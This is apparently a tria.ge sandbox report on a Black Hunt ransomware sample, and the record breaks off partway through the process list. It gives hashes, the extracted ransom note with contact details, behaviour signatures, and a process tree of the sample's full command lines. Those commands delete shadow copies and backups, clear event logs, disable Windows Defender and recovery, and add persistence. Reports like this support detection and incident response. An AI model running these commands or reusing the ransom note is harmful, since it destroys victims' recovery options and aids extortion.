Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

f725792a5e...1f.exe

windows7-x64

10

f725792a5e...1f.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    91s
  • max time network
    106s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/12/2022, 10:59

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe

  • Size

    718KB

  • MD5

    d7a24de75b761cb98f580dafda4ba885

  • SHA1

    86dc51cfc817937f9525b8aa2fa71e918288a44d

  • SHA256

    f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f

  • SHA512

    c3fd50a296b4d251a614816756eb17632779c0ef0e72826d9d276ccae8b1689ca0523a22027509ce20bf125f858f713b08967ae55501c457bc9d8fca956b0e9e

  • SSDEEP

    12288:YuLRIEFPULfzlsH5HCSSv5zEWptZ/Vlt:YeRIEF6zlsu5AWptRVlt

Score
10/10
evasionpersistenceransomwaretrojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note
YOUR WHOLE NETWORK HAS BEEN PENETRATED BY Black Hunt ! We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation! Restore your data possible only buying private key from us ATTENTION remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums Remain all of your files untouched, do not change their name, extension and... CONTACT US Your system is offline. in order to contact us you can email this address [email protected] this ID ( u5xdXjHizdoubvsA ) for the title of your email. If you weren't able to contact us whitin 24 hours please email: [email protected] Check your data situation in http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
URLs

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

    ransomware
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
    evasiontrojan
  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • Clears Windows event logs 1 TTPs 5 IoCs
    evasionransomware
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
    ransomwareevasion
  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables Task Manager via registry modification
    evasion
  • Disables use of System Restore points 1 TTPs
    evasion
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies registry class 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe
    "C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe"
    1⤵
    • UAC bypass
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4848
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Black" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2284
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Black" /f
        3⤵
        • Modifies registry class
        PID:3756
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Black\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:64
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Black\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        3⤵
        • Modifies registry class
        PID:4616
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Black" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1908
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Black" /f
        3⤵
        • Modifies registry class
        PID:5068
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Black\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1756
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Black\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        3⤵
        • Modifies registry class
        PID:1740
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4244
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
        3⤵
        • Adds Run key to start application
        PID:1840
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5084
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
        3⤵
          PID:4688
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4460
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
          3⤵
          • Modifies Windows Defender Real-time Protection settings
          PID:4800
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1284
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
          3⤵
            PID:2876
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2944
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
            3⤵
              PID:4148
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5112
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
              3⤵
                PID:3532
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1348
              • C:\Windows\system32\reg.exe
                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                3⤵
                  PID:4768
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:536
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                  3⤵
                    PID:5096
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                  2⤵
                    PID:4260
                    • C:\Windows\system32\reg.exe
                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                      3⤵
                        PID:4380
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                      2⤵
                        PID:4884
                        • C:\Windows\system32\reg.exe
                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                          3⤵
                            PID:4064
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:5072
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                            3⤵
                              PID:4144
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                            2⤵
                              PID:440
                              • C:\Windows\system32\reg.exe
                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                3⤵
                                  PID:3016
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                2⤵
                                  PID:60
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                    3⤵
                                      PID:1948
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                    2⤵
                                      PID:4960
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                        3⤵
                                          PID:1856
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                        2⤵
                                          PID:1000
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                            3⤵
                                              PID:4752
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                            2⤵
                                              PID:4496
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                3⤵
                                                  PID:4216
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:1972
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                    3⤵
                                                      PID:4784
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:1776
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                        3⤵
                                                          PID:4116
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:732
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                            3⤵
                                                              PID:1788
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:1168
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                  PID:4588
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                  PID:3252
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                    3⤵
                                                                      PID:3040
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                    2⤵
                                                                      PID:3656
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                        3⤵
                                                                          PID:4608
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                        2⤵
                                                                          PID:4652
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                            3⤵
                                                                              PID:5084
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                            2⤵
                                                                              PID:5080
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                3⤵
                                                                                  PID:1316
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                2⤵
                                                                                  PID:3212
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                    3⤵
                                                                                      PID:4156
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityService" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe -backups " /f
                                                                                    2⤵
                                                                                      PID:4468
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityService" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe -backups " /f
                                                                                        3⤵
                                                                                        • Adds Run key to start application
                                                                                        PID:2392
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c SchTasks.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Update service Windows System" /TR "C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe -backups" /f
                                                                                      2⤵
                                                                                        PID:3292
                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                          SchTasks.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Update service Windows System" /TR "C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe -backups" /f
                                                                                          3⤵
                                                                                          • Creates scheduled task(s)
                                                                                          PID:3732
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                        2⤵
                                                                                          PID:1944
                                                                                          • C:\Windows\system32\vssadmin.exe
                                                                                            vssadmin.exe Delete Shadows /all /quiet
                                                                                            3⤵
                                                                                            • Interacts with shadow copies
                                                                                            PID:4168
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                          2⤵
                                                                                            PID:4152
                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                              bcdedit /set {default} recoveryenabled No
                                                                                              3⤵
                                                                                              • Modifies boot configuration data using bcdedit
                                                                                              PID:2060
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                            2⤵
                                                                                              PID:548
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                3⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:2528
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                              2⤵
                                                                                                PID:4460
                                                                                                • C:\Windows\system32\fsutil.exe
                                                                                                  fsutil.exe usn deletejournal /D C:
                                                                                                  3⤵
                                                                                                  • Deletes NTFS Change Journal
                                                                                                  PID:1016
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                2⤵
                                                                                                  PID:4524
                                                                                                  • C:\Windows\system32\wbadmin.exe
                                                                                                    wbadmin.exe delete catalog -quiet
                                                                                                    3⤵
                                                                                                    • Deletes backup catalog
                                                                                                    PID:5072
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                  2⤵
                                                                                                    PID:1708
                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                      schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                      3⤵
                                                                                                        PID:4576
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                      2⤵
                                                                                                        PID:2420
                                                                                                        • C:\Windows\system32\fsutil.exe
                                                                                                          fsutil usn deletejournal /D C:\
                                                                                                          3⤵
                                                                                                            PID:796
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                          2⤵
                                                                                                            PID:2208
                                                                                                            • C:\Windows\system32\fsutil.exe
                                                                                                              fsutil usn deletejournal /D M:\
                                                                                                              3⤵
                                                                                                              • Enumerates connected drives
                                                                                                              PID:3112
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                            2⤵
                                                                                                              PID:1848
                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                wevtutil.exe cl Setup
                                                                                                                3⤵
                                                                                                                • Clears Windows event logs
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:3748
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                              2⤵
                                                                                                                PID:3756
                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                  wevtutil.exe cl System
                                                                                                                  3⤵
                                                                                                                  • Clears Windows event logs
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:1192
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                                2⤵
                                                                                                                  PID:3212
                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                    wevtutil.exe cl Application
                                                                                                                    3⤵
                                                                                                                    • Clears Windows event logs
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:4404
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                                  2⤵
                                                                                                                    PID:2968
                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                      wevtutil.exe cl Security
                                                                                                                      3⤵
                                                                                                                      • Clears Windows event logs
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:2348
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                                    2⤵
                                                                                                                      PID:4360
                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                        wevtutil.exe cl Security /e:false
                                                                                                                        3⤵
                                                                                                                        • Clears Windows event logs
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:3032
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                      2⤵
                                                                                                                        PID:1016
                                                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                                                          vssadmin.exe Delete Shadows /all /quiet
                                                                                                                          3⤵
                                                                                                                          • Interacts with shadow copies
                                                                                                                          PID:476
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                        2⤵
                                                                                                                          PID:5096
                                                                                                                          • C:\Windows\system32\bcdedit.exe
                                                                                                                            bcdedit /set {default} recoveryenabled No
                                                                                                                            3⤵
                                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                                            PID:5004
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                          2⤵
                                                                                                                            PID:2272
                                                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                                                              bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                              3⤵
                                                                                                                              • Modifies boot configuration data using bcdedit
                                                                                                                              PID:2876
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                            2⤵
                                                                                                                              PID:264
                                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                                fsutil.exe usn deletejournal /D C:
                                                                                                                                3⤵
                                                                                                                                • Deletes NTFS Change Journal
                                                                                                                                PID:5108
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                              2⤵
                                                                                                                                PID:2788
                                                                                                                                • C:\Windows\system32\wbadmin.exe
                                                                                                                                  wbadmin.exe delete catalog -quiet
                                                                                                                                  3⤵
                                                                                                                                  • Deletes backup catalog
                                                                                                                                  PID:3772
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                2⤵
                                                                                                                                  PID:920
                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                    3⤵
                                                                                                                                      PID:5024
                                                                                                                                  • C:\Windows\System32\cmd.exe
